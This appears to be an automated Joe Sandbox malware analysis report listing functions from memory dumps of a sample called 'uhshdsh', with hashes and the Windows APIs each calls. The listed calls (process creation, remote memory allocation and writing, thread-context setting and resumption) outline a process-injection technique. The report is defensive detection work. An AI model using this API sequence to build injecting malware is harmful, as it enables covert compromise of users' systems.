$jq, xrefs: 0180DAF2

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: 2$$jq
API String ID: 0-2230393480
Opcode ID: 14079dabd3f6197c9b7768a877fdcdcea6d976a257056aad53e6e4e71db71524
Instruction ID: 639c8c980d0bba0c7eec9622c4b6b114da1a2f22646463fbea7a3cb4cf833515
Opcode Fuzzy Hash: 14079dabd3f6197c9b7768a877fdcdcea6d976a257056aad53e6e4e71db71524
Instruction Fuzzy Hash: 58E2E474A056288FCB65DF69D884B9ABBB6FF88301F1081E9D90DA7354DB345E81CF81

Function 05275449 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05275505

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: db232a63da6850918171599d8bfa43251226e7364eb639ed022e137f82752665
Instruction ID: cd65a5d6ed13ca38c798d35c929d1a0e20c7095096959502b186dcc8d7c75126
Opcode Fuzzy Hash: db232a63da6850918171599d8bfa43251226e7364eb639ed022e137f82752665
Instruction Fuzzy Hash: 4D4177B9D102589FCF10CFA9D981AEEFBB1BF49310F14942AE819B7210D735A945CF64

Function 05275450 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05275505

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 0b762c0e9a4c603a89a5c7ae675052819bebe4cf62822b9f5aed01a8b9ba7a0f
Instruction ID: 02cd5ce974316692c2a6d460111d3bad005b953a5a1c2bb82df8fbd6e2f4d59c
Opcode Fuzzy Hash: 0b762c0e9a4c603a89a5c7ae675052819bebe4cf62822b9f5aed01a8b9ba7a0f
Instruction Fuzzy Hash: 4E4177B8D042589FCF10CFAAD980AEEFBB5BF49310F10942AE819B7210D775A945CF64

Function 05276CD0 Relevance: 1.6, APIs: 1, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05276D66

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c8f5e17596bb5c2a320417ceb23e867b816d68776c9a0dafc1954cf71360d3d8
Instruction ID: 62c4a04f674204c05e2da905be1ed1995aa880c8c9d00fe1c62659c9824740eb
Opcode Fuzzy Hash: c8f5e17596bb5c2a320417ceb23e867b816d68776c9a0dafc1954cf71360d3d8
Instruction Fuzzy Hash: FE3199B4D112189FCB10DFAAD980ADEFBF5BF49310F14942AE819B7210C779A945CFA4

Function 05276CD8 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05276D66

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 1e41e616cad845346e2aeffc8792928b0815448255b9f2fdc3818cbc7501dc8d
Instruction ID: 4e5ff87f2ffb9ba1298ce6f12e09eb4070c1e78f5ca993fdcfb0cb4f8228ae3b
Opcode Fuzzy Hash: 1e41e616cad845346e2aeffc8792928b0815448255b9f2fdc3818cbc7501dc8d
Instruction Fuzzy Hash: 6931AAB4D112189FCB10CFAAD980A9EFBF5BF49310F10942AE819B7210C775A945CF94

Function 05243390 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700799ea36e5cf1a1631ede667b413a115d05bcee75602365ec3f2f6aacd0b11
Instruction ID: 7e255ca503b0ff98e668b37b5c537a07abad7ca836eb1cca2f312a01694a3431
Opcode Fuzzy Hash: 700799ea36e5cf1a1631ede667b413a115d05bcee75602365ec3f2f6aacd0b11
Instruction Fuzzy Hash: BED10974A14218CFDB54DFA8E898BAEBBB2FF49301F5040A9D40AA7394DB785D85CF44

Function 052437D5 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368d1dac8c8e8539780b33028ce8d998d865ddcaa3f887d99045cd77dc8f3e83
Instruction ID: 5f93dd1ed08457cd8fdcf9dd6fc88b962a09de72d11e9472b2ee36147f6979d9
Opcode Fuzzy Hash: 368d1dac8c8e8539780b33028ce8d998d865ddcaa3f887d99045cd77dc8f3e83
Instruction Fuzzy Hash: C7C12974A14218CFDB54DFA8E899BADBBB2FF49301F5044AAD40AA7390DB785D81CF44

Function 05241378 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb61b0ca15af85ec4dfcdc8f7c04bd2a8ee9b305859f2f8654e2dc708602b95f
Instruction ID: 6954eee7b7e5ddd9ea044016799a8b17108eb3e3582e43d4bd234d685ed31b27
Opcode Fuzzy Hash: fb61b0ca15af85ec4dfcdc8f7c04bd2a8ee9b305859f2f8654e2dc708602b95f
Instruction Fuzzy Hash: BEC1F374E15258CFDB18DFA9E888BADBBF2FF49305F1080AAD409A7295DB745984CF40

Function 05243380 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ece886f4449282a90a0a3c4e4d65662faf2b945d4cc756757ebb62b4d290409
Instruction ID: 97419faf4d9cbdfbd17f928891d63a2ecabd446890d9d477e77d9703cd5c526b
Opcode Fuzzy Hash: 8ece886f4449282a90a0a3c4e4d65662faf2b945d4cc756757ebb62b4d290409
Instruction Fuzzy Hash: 57B12A74E14218CFDB58DFA8D888BAEBBB2FF49301F5040A9D40AA7390DB785985CF44

Function 05243723 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb039ddb6f18f6ef0069fe713406339653deb52dba9d202152768bcbb4ce7692
Instruction ID: 87390fbb9a7caabd0703654a33c83b81a70231680270470faef043d342ff662a
Opcode Fuzzy Hash: eb039ddb6f18f6ef0069fe713406339653deb52dba9d202152768bcbb4ce7692
Instruction Fuzzy Hash: BCA11974A14218CFDB54DFA8E898BADBBB2FF49301F5044A9D40AA7390DB785D85CF44

Function 068BE5A0 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 742e9b69b8e98fd2c6fff8ba08d97a833205c5d6d6ea8704fb765d5d39cf8832
Instruction ID: c84c6416be2a1b796cb1ccccb5498328c77b92092c5c855937f9bd71f2fccaf6
Opcode Fuzzy Hash: 742e9b69b8e98fd2c6fff8ba08d97a833205c5d6d6ea8704fb765d5d39cf8832
Instruction Fuzzy Hash: C9512B70A04218CFDB94DF68D459BAEBBF2FB49305F5080A9E40AA7350DB349E85CF05

Function 05244C53 Relevance: 2.6, Strings: 2, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 05244DA9
#, xrefs: 05244D80

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: #$/
API String ID: 0-2675178836
Opcode ID: abaf0a1190fb3d0e892f4d6b1bc08ad7268667274639e78790b338cb22a36735
Instruction ID: 2516b2dd6b8b23fcb10c75b37792bdf5fcf4d7cd9d547795ea44167816d21327
Opcode Fuzzy Hash: abaf0a1190fb3d0e892f4d6b1bc08ad7268667274639e78790b338cb22a36735
Instruction Fuzzy Hash: DE219D74A19228DFDB65DF68E858BE9BBB1FB49301F5085E9D40DA7240CB745E80CF50

Function 068A4ED5 Relevance: 2.5, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^, xrefs: 068A4F81
,, xrefs: 068A4FB0

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID: ,$^
API String ID: 0-3006135235
Opcode ID: 3b96b07d77d6bef73256dbb03229fb0b0dbd2f442a3c7a0002d601accc4d4e0c
Instruction ID: e6756ac22ffee9c1f46db20a8d405f4ac71dfbeafc01bf57502394ed90879ac9
Opcode Fuzzy Hash: 3b96b07d77d6bef73256dbb03229fb0b0dbd2f442a3c7a0002d601accc4d4e0c
Instruction Fuzzy Hash: 8C21A478A44629CFDB64DF58D888AD9B7F1FB88306F1040E9D50EA7384DB749E858F81

Function 05244085 Relevance: 2.5, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 052440DD
:, xrefs: 05244106

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: 0$:
API String ID: 0-3972924566
Opcode ID: 4e4aa3fbe7516d4336c25e70870a6b3a77b589c2273802eb9c855273f207f66f
Instruction ID: d366e9a8cec41d969ae60bba735f5978bc1c82f62ad1fb1bbdc23cbe1fc1bcdc
Opcode Fuzzy Hash: 4e4aa3fbe7516d4336c25e70870a6b3a77b589c2273802eb9c855273f207f66f
Instruction Fuzzy Hash: 9A01CE74A41269DFCB65CF28E858BADBBB1FB09300F1045E9E409A6240C7B45EC08F40

Function 052442A6 Relevance: 2.5, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

+, xrefs: 052442B4
7, xrefs: 05243FE8

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID: +$7
API String ID: 0-2181838010
Opcode ID: 87d9a13702c9b0286174357551fa2258f098628b45b2ccdcad1db9da2333336c
Instruction ID: 7e7e36c43cf4b77d4460057fa94ce6925fe4759a4f69999466d96c51d9cffb12
Opcode Fuzzy Hash: 87d9a13702c9b0286174357551fa2258f098628b45b2ccdcad1db9da2333336c
Instruction Fuzzy Hash: B1F0BD749202688BCB28DB14C854B99BBF6BF49304F1055DA880AA7240CB745E85CF00

Function 0527603C Relevance: 1.8, APIs: 1, Instructions: 265
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 052762AF

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7ee91f45d65150de6d1b2b15ed6868f2ceeefbeb301105f91cd48a7c3d8ae85a
Instruction ID: 11507d565cc4ebe8dba87b24d828b9e37a2dfa8940522ae90c3d11398d2e8be3
Opcode Fuzzy Hash: 7ee91f45d65150de6d1b2b15ed6868f2ceeefbeb301105f91cd48a7c3d8ae85a
Instruction Fuzzy Hash: 4FA10FB0D1061D8FDF10CFA9C885BEEBBB1BF09300F149169E859A7290DB749985CF40

Function 05276048 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 052762AF

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 511834fcadae4dc0f7cc6839b7289528e804b93d8a49156c68517b333387e090
Instruction ID: bfe5ad950cfacdc3aeb60b5261ab1c494e712da22193566453beb99ddd5bfd3e
Opcode Fuzzy Hash: 511834fcadae4dc0f7cc6839b7289528e804b93d8a49156c68517b333387e090
Instruction Fuzzy Hash: ECA10FB0D1061D8FDF10CFA9C885BEEBBB1BF09310F149169E859A7290DB74A985CF41

Function 0527882C Relevance: 1.7, APIs: 1, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 052789B3

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: d2b5bf0e57fa27fe7a6901cb8d386e8ce1bf64324f9bc20b5947e04c03744222
Instruction ID: d885e64bf53b94815476ce34c02a188df41ab9f902a652816d97250280db20de
Opcode Fuzzy Hash: d2b5bf0e57fa27fe7a6901cb8d386e8ce1bf64324f9bc20b5947e04c03744222
Instruction Fuzzy Hash: 336113B1D1021DDFDB10DFA9C9897ADBBF1BF49310F248129D859A7290DB788985CF81

Function 05278838 Relevance: 1.7, APIs: 1, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 052789B3

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: bb1eef6e5c07f5b29ea02d4c1e4e68c88bb6332d4c9704eed9bea3339a9f8ae3
Instruction ID: 861b48b6e5a136b4a27215673e493a0131387b916e28b75baacd6eb4314f6c49
Opcode Fuzzy Hash: bb1eef6e5c07f5b29ea02d4c1e4e68c88bb6332d4c9704eed9bea3339a9f8ae3
Instruction Fuzzy Hash: 936113B1D1021DDFDB10DFA9C8897AEBBF1BF49310F248129E819A7290DB749985CF81

Function 05277F2D Relevance: 1.7, APIs: 1, Instructions: 159
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 0527807C

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f745cdd039dd4249345ad83fd9eb5a4599921576d7aa43f738b6402bcf18b80f
Instruction ID: 5beba847e5de53f73dbc9c0bcdf91556d4ad7f4479b3f77afe5bf786caffc32d
Opcode Fuzzy Hash: f745cdd039dd4249345ad83fd9eb5a4599921576d7aa43f738b6402bcf18b80f
Instruction Fuzzy Hash: 05510DB4D1420D9FDF20DFA9D985AAEBBB1FF09300F14902AE829B7250DB749881CF54

Function 05277F38 Relevance: 1.7, APIs: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 0527807C

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a57977c0ad60a226cae9d1dda50ad80b2f01157ff0f36cb48092b7a21a14e137
Instruction ID: bb6ca9c8bb7e53c1657e3a3394abe49c64240206caca140b67c850d4f284aae8
Opcode Fuzzy Hash: a57977c0ad60a226cae9d1dda50ad80b2f01157ff0f36cb48092b7a21a14e137
Instruction Fuzzy Hash: 3951EEB4D1421D9FDF20DFA9D984AAEBBB1FF09300F24902AE819B7250DB749885CF55

Function 05278530 Relevance: 1.6, APIs: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 05278606

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7017fd92a5927e5730cb5ed707cfce8c7f68314d45df2b51e32c51e9cf53ec8f
Instruction ID: 1805995efe2aa3809cf664c46ec0e2ea4f771ea598392d5ada55983c9c814ddc
Opcode Fuzzy Hash: 7017fd92a5927e5730cb5ed707cfce8c7f68314d45df2b51e32c51e9cf53ec8f
Instruction Fuzzy Hash: 6B41CDB5D042589FCF00CFA9D985AEEFBB1BF09310F14901AE815B7210D739A951CF68

Function 05278538 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 05278606

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ed3d9a05948ee52e8c2c46443be8023043855a604a4592616883ab07ca4ad9f7
Instruction ID: 5c6b329d7dfd3b71186f188136fd9514f302908934510bdfe768f5448227975a
Opcode Fuzzy Hash: ed3d9a05948ee52e8c2c46443be8023043855a604a4592616883ab07ca4ad9f7
Instruction Fuzzy Hash: 3141ACB5D052589FCF00CFA9D984AEEFBB1BF09310F14A02AE815B7210D739A955CF68

Function 05276ABA Relevance: 1.6, APIs: 1, Instructions: 117injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05276B93

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ce4a348a93aa40c5368b2f46634eb1c01a57dc509f77854abd09b8f5a19e43df
Instruction ID: 98dd15d350c226e0c5436884edc0730fc875fe016af1de97ff4da5e1b9b93725
Opcode Fuzzy Hash: ce4a348a93aa40c5368b2f46634eb1c01a57dc509f77854abd09b8f5a19e43df
Instruction Fuzzy Hash: 404198B5D012589FCB00CFA9D984AEEFBF1BF49310F14902AE819B7210D779AA45CF64

Function 05276AC0 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05276B93

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 39f92c129dcb0fab9a0655a60c685fa4dee235509e84d58fdc8b184a7277f4fe
Instruction ID: e7353c52f8e828646bd58da770a4d9f7414a87969bc08d0465576df6d9cbee4f
Opcode Fuzzy Hash: 39f92c129dcb0fab9a0655a60c685fa4dee235509e84d58fdc8b184a7277f4fe
Instruction Fuzzy Hash: 184198B5D012589FCB00CFA9D984AEEFBF1BF49310F10902AE819B7210D779AA45CB64

Function 05276958 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05276A0A

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 80c79fb44b09d4cd07784cfd3d1fe10580f579519bc8b687f2385b783368d9c0
Instruction ID: 097575267e1721e5872f461b270596b1a1c9a71c395fc519c79762c542b7e1e6
Opcode Fuzzy Hash: 80c79fb44b09d4cd07784cfd3d1fe10580f579519bc8b687f2385b783368d9c0
Instruction Fuzzy Hash: 213197B9D002589FCF10CFA9D984A9EBBB1FF49310F20942AE815B7210D775A941CF64

Function 05276960 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05276A0A

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 72d96f0678cfe2b11a58f70f7567ba2ba09cf77ec43a06fda7e2a2559d058ef2
Instruction ID: 05b9d466a8133374dc52d62f1b8024edd518c01382ea94654a9407983ffb68fe
Opcode Fuzzy Hash: 72d96f0678cfe2b11a58f70f7567ba2ba09cf77ec43a06fda7e2a2559d058ef2
Instruction Fuzzy Hash: 423188B9D042589FCF10CFA9D980A9EFBB5FF49310F10942AE815B7210D735A945CF54

Function 05276FA9 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05277054

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3317a651cd33552eab7823133e7f70129e9efa6f50bb708552b8c324daa631a3
Instruction ID: 39f118283efb54351b2a15d4df73b61a0e0d85cda690449d7e4b14cc2deeb515
Opcode Fuzzy Hash: 3317a651cd33552eab7823133e7f70129e9efa6f50bb708552b8c324daa631a3
Instruction Fuzzy Hash: 4031A9B4D002589FCB10CFAAD984AAEFBB1AF49310F14942AE815B7210D779A945CF94

Function 05276FB0 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05277054

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d2eae32d141df459b9ba5aa8cb89847fcf658ed3303ba11f9437e51d5376e41b
Instruction ID: 7bbf46c3ce01a92d232e25182e814376076100e390a4c9d9ff868fb3a74b7ede
Opcode Fuzzy Hash: d2eae32d141df459b9ba5aa8cb89847fcf658ed3303ba11f9437e51d5376e41b
Instruction Fuzzy Hash: A031B9B4D002589FCB10CFAAD980AEEFBB1BF49310F14902AE815B7210C739A945CF54

Function 052763F8 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 052764AF

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a1e2c32dec972483766acec4566fa8f464c2fc19deba8dc5423bb3203a9c4587
Instruction ID: 8fef6cfbe6feb89bcff435982f95d70256b83d1b583d9c5ec3d7be548c2fbdb6
Opcode Fuzzy Hash: a1e2c32dec972483766acec4566fa8f464c2fc19deba8dc5423bb3203a9c4587
Instruction Fuzzy Hash: FD41CBB4D002589FCB10DFAAD884AEEBFF1BF49310F14802AE419B7250D778A945CFA4

Function 05276400 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 052764AF

Memory Dump Source

Source File: 00000006.00000002.2291939224.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5270000_uhshdsh.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8371a0de0e76deddea2c98fa2da5e7c4e9625f407576519be92f115085db6c61
Instruction ID: ca94bc675c756d5f04342ecb7f44b97f899a536153763884f5fb3f36e5debeae
Opcode Fuzzy Hash: 8371a0de0e76deddea2c98fa2da5e7c4e9625f407576519be92f115085db6c61
Instruction Fuzzy Hash: E031BCB4D112589FCB10DFAAD984AEEFBF1BF49310F14802AE419B7250D778A945CFA4

Function 01800991 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

sw, xrefs: 01800A33

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: sw
API String ID: 0-776100406
Opcode ID: f0caa37d21c54e3c6ea70e3b2dcfb3d1eeacd0eba5f5a7f4e268535ad119d5f5
Instruction ID: 97d67d0c8881c132aa4125697a62d2dde04a8a713aaf6880cbb2bb3a0f10e536
Opcode Fuzzy Hash: f0caa37d21c54e3c6ea70e3b2dcfb3d1eeacd0eba5f5a7f4e268535ad119d5f5
Instruction Fuzzy Hash: DA21F170B0424A4FDB53DB7C8C54AAFBBB5EF85340B1080AAE405CB296EB749E05C791

Function 01800B00 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

Tejq, xrefs: 01800B8E

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: b7453ebac385f0fdedb1edf4635059e89d65aab128e7075eea844e4f873bbc18
Instruction ID: c7cebfc459500d4613f5fd56acee26b7a25a0f0a6200fb832c440a1b2ccd4e8b
Opcode Fuzzy Hash: b7453ebac385f0fdedb1edf4635059e89d65aab128e7075eea844e4f873bbc18
